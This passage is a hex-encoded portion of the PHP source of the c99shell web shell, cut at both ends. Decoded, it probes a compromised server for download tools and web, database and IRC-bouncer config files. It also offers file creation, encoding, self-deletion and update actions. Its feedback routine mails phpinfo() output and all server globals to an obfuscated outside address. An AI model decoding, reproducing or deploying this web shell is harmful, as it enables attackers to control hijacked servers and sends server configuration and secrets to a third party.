65 63 69 6E 66 6F 28 22 49 73 20 63 55 52 4C 20 69 6E 73 74 61 6C 6C 65 64 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 77 68 69 63 68 20 63 75 72 6C 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 49 73 20 6C 79 6E 78 20 69 6E 73 74 61 6C 6C 65 64 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 77 68 69 63 68 20 6C 79 6E 78 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 49 73 20 6C 69 6E 6B 73 20 69 6E 73 74 61 6C 6C 65 64 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 77 68 69 63 68 20 6C 69 6E 6B 73 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 49 73 20 66 65 74 63 68 20 69 6E 73 74 61 6C 6C 65 64 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 77 68 69 63 68 20 66 65 74 63 68 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 49 73 20 47 45 54 20 69 6E 73 74 61 6C 6C 65 64 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 77 68 69 63 68 20 47 45 54 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 49 73 20 70 65 72 6C 20 69 6E 73 74 61 6C 6C 65 64 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 77 68 69 63 68 20 70 65 72 6C 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 57 68 65 72 65 20 69 73 20 61 70 61 63 68 65 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 77 68 65 72 65 69 73 20 61 70 61 63 68 65 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 57 68 65 72 65 20 69 73 20 70 65 72 6C 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 77 68 65 72 65 69 73 20 70 65 72 6C 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 6C 6F 63 61 74 65 20 70 72 6F 66 74 70 64 2E 63 6F 6E 66 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 6C 6F 63 61 74 65 20 70 72 6F 66 74 70 64 2E 63 6F 6E 66 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 6C 6F 63 61 74 65 20 68 74 74 70 64 2E 63 6F 6E 66 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 6C 6F 63 61 74 65 20 68 74 74 70 64 2E 63 6F 6E 66 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 6C 6F 63 61 74 65 20 6D 79 2E 63 6F 6E 66 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 6C 6F 63 61 74 65 20 6D 79 2E 63 6F 6E 66 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 6C 6F 63 61 74 65 20 70 73 79 62 6E 63 2E 63 6F 6E 66 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 6C 6F 63 61 74 65 20 70 73 79 62 6E 63 2E 63 6F 6E 66 22 29 29 3B 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 6D 6B 66 69 6C 65 22 29 0A 7B 0A 20 69 66 20 28 24 6D 6B 66 69 6C 65 20 21 3D 20 24 64 29 0A 20 7B 0A 20 20 69 66 20 28 66 69 6C 65 5F 65 78 69 73 74 73 28 24 6D 6B 66 69 6C 65 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 4D 61 6B 65 20 46 69 6C 65 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 6D 6B 66 69 6C 65 29 2E 22 5C 22 3C 2F 62 3E 3A 20 6F 62 6A 65 63 74 20 61 6C 72 65 64 79 20 65 78 69 73 74 73 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 21 66 6F 70 65 6E 28 24 6D 6B 66 69 6C 65 2C 22 77 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 4D 61 6B 65 20 46 69 6C 65 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 6D 6B 66 69 6C 65 29 2E 22 5C 22 3C 2F 62 3E 3A 20 61 63 63 65 73 73 20 64 65 6E 69 65 64 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 24 61 63 74 20 3D 20 22 66 22 3B 20 24 64 20 3D 20 64 69 72 6E 61 6D 65 28 24 6D 6B 66 69 6C 65 29 3B 20 69 66 20 28 73 75 62 73 74 72 28 24 64 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 64 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 20 24 66 20 3D 20 62 61 73 65 6E 61 6D 65 28 24 6D 6B 66 69 6C 65 29 3B 7D 0A 20 7D 0A 20 65 6C 73 65 20 7B 24 61 63 74 20 3D 20 24 64 73 70 61 63 74 20 3D 20 22 6C 73 22 3B 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 65 6E 63 6F 64 65 72 22 29 0A 7B 0A 20 65 63 68 6F 20 22 3C 73 63 72 69 70 74 3E 66 75 6E 63 74 69 6F 6E 20 73 65 74 5F 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 28 74 65 78 74 29 20 7B 64 6F 63 75 6D 65 6E 74 2E 66 6F 72 6D 73 2E 65 6E 63 6F 64 65 72 2E 69 6E 70 75 74 2E 76 61 6C 75 65 20 3D 20 74 65 78 74 3B 7D 3C 2F 73 63 72 69 70 74 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 45 6E 63 6F 64 65 72 3A 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 3C 66 6F 72 6D 20 6E 61 6D 65 3D 5C 22 65 6E 63 6F 64 65 72 5C 22 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 65 6E 63 6F 64 65 72 3E 3C 62 3E 49 6E 70 75 74 3A 3C 2F 62 3E 3C 63 65 6E 74 65 72 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 5C 22 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 5C 22 20 69 64 3D 5C 22 69 6E 70 75 74 5C 22 20 63 6F 6C 73 3D 35 30 20 72 6F 77 73 3D 35 3E 22 2E 40 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 63 61 6C 63 75 6C 61 74 65 5C 22 3E 3C 62 72 3E 3C 62 72 3E 3C 2F 63 65 6E 74 65 72 3E 3C 62 3E 48 61 73 68 65 73 3C 2F 62 3E 3A 3C 62 72 3E 3C 63 65 6E 74 65 72 3E 22 3B 0A 20 66 6F 72 65 61 63 68 28 61 72 72 61 79 28 22 6D 64 35 22 2C 22 63 72 79 70 74 22 2C 22 73 68 61 31 22 2C 22 63 72 63 33 32 22 29 20 61 73 20 24 76 29 0A 20 7B 0A 20 20 65 63 68 6F 20 24 76 2E 22 20 2D 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 73 69 7A 65 3D 35 30 20 6F 6E 46 6F 63 75 73 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 76 65 72 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 75 74 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 76 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 2E 22 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 3C 62 72 3E 22 3B 0A 20 7D 0A 20 65 63 68 6F 20 22 3C 2F 63 65 6E 74 65 72 3E 3C 62 3E 55 72 6C 3A 3C 2F 62 3E 3C 63 65 6E 74 65 72 3E 3C 62 72 3E 75 72 6C 65 6E 63 6F 64 65 20 2D 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 73 69 7A 65 3D 33 35 20 6F 6E 46 6F 63 75 73 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 76 65 72 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 75 74 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 2E 22 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 0A 20 3C 62 72 3E 75 72 6C 64 65 63 6F 64 65 20 2D 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 73 69 7A 65 3D 33 35 20 6F 6E 46 6F 63 75 73 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 76 65 72 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 75 74 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 75 72 6C 64 65 63 6F 64 65 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 29 2E 22 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 0A 20 3C 62 72 3E 3C 2F 63 65 6E 74 65 72 3E 3C 62 3E 42 61 73 65 36 34 3A 3C 2F 62 3E 3C 63 65 6E 74 65 72 3E 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 20 2D 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 73 69 7A 65 3D 33 35 20 6F 6E 46 6F 63 75 73 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 76 65 72 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 75 74 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 2E 22 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 62 61 73 65 36 34 5F 64 65 63 6F 64 65 20 2D 20 22 3B 0A 20 69 66 20 28 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 62 61 73 65 36 34 5F 64 65 63 6F 64 65 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 29 20 21 3D 20 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 20 7B 65 63 68 6F 20 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 73 69 7A 65 3D 33 35 20 76 61 6C 75 65 3D 5C 22 66 61 69 6C 65 64 5C 22 20 64 69 73 61 62 6C 65 64 20 72 65 61 64 6F 6E 6C 79 3E 22 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 24 64 65 62 61 73 65 36 34 20 3D 20 62 61 73 65 36 34 5F 64 65 63 6F 64 65 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 3B 0A 20 20 24 64 65 62 61 73 65 36 34 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 30 22 2C 22 5B 30 5D 22 2C 24 64 65 62 61 73 65 36 34 29 3B 0A 20 20 24 61 20 3D 20 65 78 70 6C 6F 64 65 28 22 5C 72 5C 6E 22 2C 24 64 65 62 61 73 65 36 34 29 3B 0A 20 20 24 72 6F 77 73 20 3D 20 63 6F 75 6E 74 28 24 61 29 3B 0A 20 20 24 64 65 62 61 73 65 36 34 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 65 62 61 73 65 36 34 29 3B 0A 20 20 69 66 20 28 24 72 6F 77 73 20 3D 3D 20 31 29 20 7B 65 63 68 6F 20 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 73 69 7A 65 3D 33 35 20 6F 6E 46 6F 63 75 73 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 76 65 72 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 75 74 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 64 65 62 61 73 65 36 34 2E 22 5C 22 20 69 64 3D 5C 22 64 65 62 61 73 65 36 34 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 24 72 6F 77 73 2B 2B 3B 20 65 63 68 6F 20 22 3C 74 65 78 74 61 72 65 61 20 63 6F 6C 73 3D 5C 22 34 30 5C 22 20 72 6F 77 73 3D 5C 22 22 2E 24 72 6F 77 73 2E 22 5C 22 20 6F 6E 46 6F 63 75 73 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 76 65 72 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 75 74 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 69 64 3D 5C 22 64 65 62 61 73 65 36 34 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 22 2E 24 64 65 62 61 73 65 36 34 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 22 3B 7D 0A 20 20 65 63 68 6F 20 22 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 23 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 73 65 74 5F 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 28 64 6F 63 75 6D 65 6E 74 2E 66 6F 72 6D 73 2E 65 6E 63 6F 64 65 72 2E 64 65 62 61 73 65 36 34 2E 76 61 6C 75 65 29 5C 22 3E 3C 62 3E 5E 3C 2F 62 3E 3C 2F 61 3E 22 3B 0A 20 7D 0A 20 65 63 68 6F 20 22 3C 2F 63 65 6E 74 65 72 3E 3C 62 72 3E 3C 62 3E 42 61 73 65 20 63 6F 6E 76 65 72 74 61 74 69 6F 6E 73 3C 2F 62 3E 3A 3C 63 65 6E 74 65 72 3E 64 65 63 32 68 65 78 20 2D 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 73 69 7A 65 3D 33 35 20 6F 6E 46 6F 63 75 73 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 76 65 72 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 6F 6E 4D 6F 75 73 65 6F 75 74 3D 5C 22 74 68 69 73 2E 73 65 6C 65 63 74 28 29 5C 22 20 76 61 6C 75 65 3D 5C 22 22 3B 0A 20 24 63 20 3D 20 73 74 72 6C 65 6E 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 29 3B 0A 20 66 6F 72 28 24 69 3D 30 3B 24 69 3C 24 63 3B 24 69 2B 2B 29 0A 20 7B 0A 20 20 24 68 65 78 20 3D 20 64 65 63 68 65 78 28 6F 72 64 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 5B 24 69 5D 29 29 3B 0A 20 20 69 66 20 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 5B 24 69 5D 20 3D 3D 20 22 26 22 29 20 7B 65 63 68 6F 20 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 5B 24 69 5D 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 65 6E 63 6F 64 65 72 5F 69 6E 70 75 74 5B 24 69 5D 20 21 3D 20 22 5C 5C 22 29 20 7B 65 63 68 6F 20 22 25 22 2E 24 68 65 78 3B 7D 0A 20 7D 0A 20 65 63 68 6F 20 22 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 3C 62 72 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 66 73 62 75 66 66 22 29 0A 7B 0A 20 24 61 72 72 5F 63 6F 70 79 20 3D 20 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 3B 0A 20 24 61 72 72 5F 63 75 74 20 3D 20 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 3B 0A 20 24 61 72 72 20 3D 20 61 72 72 61 79 5F 6D 65 72 67 65 28 24 61 72 72 5F 63 6F 70 79 2C 24 61 72 72 5F 63 75 74 29 3B 0A 20 69 66 20 28 63 6F 75 6E 74 28 24 61 72 72 29 20 3D 3D 20 30 29 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 42 75 66 66 65 72 20 69 73 20 65 6D 70 74 79 21 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 3E 46 69 6C 65 2D 53 79 73 74 65 6D 20 62 75 66 66 65 72 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 22 3B 20 24 6C 73 5F 61 72 72 20 3D 20 24 61 72 72 3B 20 24 64 69 73 70 5F 66 75 6C 6C 70 61 74 68 20 3D 20 74 72 75 65 3B 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 73 65 6C 66 72 65 6D 6F 76 65 22 29 0A 7B 0A 20 69 66 20 28 28 24 73 75 62 6D 69 74 20 3D 3D 20 24 72 6E 64 63 6F 64 65 29 20 61 6E 64 20 28 24 73 75 62 6D 69 74 20 21 3D 20 22 22 29 29 0A 20 7B 0A 20 20 69 66 20 28 75 6E 6C 69 6E 6B 28 5F 5F 46 49 4C 45 5F 5F 29 29 20 7B 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 20 65 63 68 6F 20 22 54 68 61 6E 6B 73 20 66 6F 72 20 75 73 69 6E 67 20 63 39 39 73 68 65 6C 6C 20 76 2E 22 2E 24 73 68 76 65 72 2E 22 21 22 3B 20 63 39 39 73 68 65 78 69 74 28 29 3B 20 7D 0A 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 43 61 6E 27 74 20 64 65 6C 65 74 65 20 22 2E 5F 5F 46 49 4C 45 5F 5F 2E 22 21 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 72 6E 64 63 6F 64 65 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 45 72 72 6F 72 3A 20 69 6E 63 6F 72 72 65 63 74 20 63 6F 6E 66 69 6D 61 74 69 6F 6E 21 3C 2F 62 3E 22 3B 7D 0A 20 20 24 72 6E 64 20 3D 20 72 61 6E 64 28 30 2C 39 29 2E 72 61 6E 64 28 30 2C 39 29 2E 72 61 6E 64 28 30 2C 39 29 3B 0A 20 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 73 65 6C 66 72 65 6D 6F 76 65 3E 3C 62 3E 53 65 6C 66 2D 72 65 6D 6F 76 65 3A 20 22 2E 5F 5F 46 49 4C 45 5F 5F 2E 22 20 3C 62 72 3E 3C 62 3E 41 72 65 20 79 6F 75 20 73 75 72 65 3F 3C 62 72 3E 46 6F 72 20 63 6F 6E 66 69 72 6D 61 74 69 6F 6E 2C 20 65 6E 74 65 72 20 5C 22 22 2E 24 72 6E 64 2E 22 5C 22 3C 2F 62 3E 3A 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 72 6E 64 63 6F 64 65 20 76 61 6C 75 65 3D 5C 22 22 2E 24 72 6E 64 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 59 45 53 5C 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 75 70 64 61 74 65 22 29 20 7B 24 72 65 74 20 3D 20 63 39 39 73 68 5F 67 65 74 75 70 64 61 74 65 28 21 21 24 63 6F 6E 66 69 72 6D 75 70 64 61 74 65 29 3B 20 65 63 68 6F 20 22 3C 62 3E 22 2E 24 72 65 74 2E 22 3C 2F 62 3E 22 3B 20 69 66 20 28 73 74 72 69 73 74 72 28 24 72 65 74 2C 22 6E 65 77 20 76 65 72 73 69 6F 6E 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 62 75 74 74 6F 6E 20 6F 6E 63 6C 69 63 6B 3D 5C 22 6C 6F 63 61 74 69 6F 6E 2E 68 72 65 66 3D 27 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 75 70 64 61 74 65 26 63 6F 6E 66 69 72 6D 75 70 64 61 74 65 3D 31 27 3B 5C 22 20 76 61 6C 75 65 3D 5C 22 55 70 64 61 74 65 20 6E 6F 77 5C 22 3E 22 3B 7D 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 66 65 65 64 62 61 63 6B 22 29 0A 7B 0A 20 24 73 75 70 70 6D 61 69 6C 20 3D 20 62 61 73 65 36 34 5F 64 65 63 6F 64 65 28 22 59 7A 6B 35 63 32 68 6C 62 47 78 41 59 32 4E 30 5A 57 46 74 4C 6E 4A 31 22 29 3B 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 75 62 6D 69 74 29 29 0A 20 7B 0A 20 20 24 74 69 63 6B 65 74 20 3D 20 73 75 62 73 74 72 28 6D 64 35 28 6D 69 63 72 6F 74 69 6D 65 28 29 2B 72 61 6E 64 28 31 2C 31 30 30 30 29 29 2C 30 2C 36 29 3B 0A 20 20 24 62 6F 64 79 20 3D 20 22 63 39 39 73 68 65 6C 6C 20 76 2E 22 2E 24 73 68 76 65 72 2E 22 20 66 65 65 64 62 61 63 6B 20 23 22 2E 24 74 69 63 6B 65 74 2E 22 5C 6E 4E 61 6D 65 3A 20 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 66 64 62 6B 5F 6E 61 6D 65 29 2E 22 5C 6E 45 2D 6D 61 69 6C 3A 20 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 66 64 62 6B 5F 65 6D 61 69 6C 29 2E 22 5C 6E 4D 65 73 73 61 67 65 3A 5C 6E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 66 64 62 6B 5F 62 6F 64 79 29 2E 22 5C 6E 5C 6E 49 50 3A 20 22 2E 24 52 45 4D 4F 54 45 5F 41 44 44 52 3B 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 66 64 62 6B 5F 72 65 66 29 29 0A 20 20 7B 0A 20 20 20 24 74 6D 70 20 3D 20 40 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 3B 0A 20 20 20 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 20 70 68 70 69 6E 66 6F 28 29 3B 0A 20 20 20 24 70 68 70 69 6E 66 6F 20 3D 20 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 29 3B 0A 20 20 20 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 20 65 63 68 6F 20 24 74 6D 70 3B 0A 20 20 20 24 62 6F 64 79 20 2E 3D 20 22 5C 6E 22 2E 22 70 68 70 69 6E 66 6F 28 29 3A 20 22 2E 24 70 68 70 69 6E 66 6F 2E 22 5C 6E 22 2E 22 5C 24 47 4C 4F 42 41 4C 53 3D 22 2E 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 73 65 72 69 61 6C 69 7A 65 28 24 47 4C 4F 42 41 4C 53 29 29 2E 22 5C 6E 22 3B 0A 20 20 7D 0A 20 20 6D 61 69 6C 28 24 73 75 70 70 6D 61 69 6C 2C 22 63 39 39 73 68 65 6C 6C 20 76 2E 22 2E 24 73 68 76 65 72 2E 22 20 66 65 65 64 62 61 63 6B 20 23 22 2E 24 74 69 63 6B 65 74 2C 24 62 6F 64 79 2C 22 46 52 4F 4D 3A 20 22 2E 24 73 75 70 70 6D 61 69 6C 29 3B 0A 20 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 54 68 61 6E 6B 73 20 66 6F 72 20 79 6F 75 72 20 66 65 65 64 62 61 63 6B 21 20 59 6F 75 72 20 74 69 63 6B 65 74 20 49 44 3A 20 22 2E 24 74 69 63 6B 65 74 2E 22 2E 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 20 7D 0A 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 66 65 65 64 62 61 63 6B 3E 3C 62 3E 46 65 65 64 62 61 63 6B 20 6F 72 20 72 65 70 6F 72 74 20 62 75 67 20 28 22 2E 73 74 72 5F 72 65 70 6C 61 63 65 28 61 72 72 61 79 28 22 40 22 2C 22 2E 22 29 2C 61 72 72 61 79 28 22 5B 61 74 5D 22 2C 22 5B 64 6F 74 5D 22 29 2C 24 73 75 70 70 6D 61 69 6C 29 2E 22 29 3A 3C 62 72 3E 3C 62 72 3E 59 6F 75 72 20 6E 61 6D 65 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 66 64 62 6B 5F 6E 61 6D 65 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 66 64 62 6B 5F 6E 61 6D 65 29 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 59 6F 75 72 20 65 2D 6D 61 69 6C 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 66 64 62 6B 5F 65 6D 61 69 6C 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 66 64 62 6B 5F 65 6D 61 69 6C 29 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 4D 65 73 73 61 67 65 3A 3C 62 72 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 5C 22 66 64 62 6B 5F 62 6F 64 79 5C 22 20 63 6F 6C 73 3D 38 30 20 72 6F 77 73 3D 31 30 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 66 64 62 6B 5F 62 6F 64 79 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 66 64 62 6B 5F 72 65 66 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 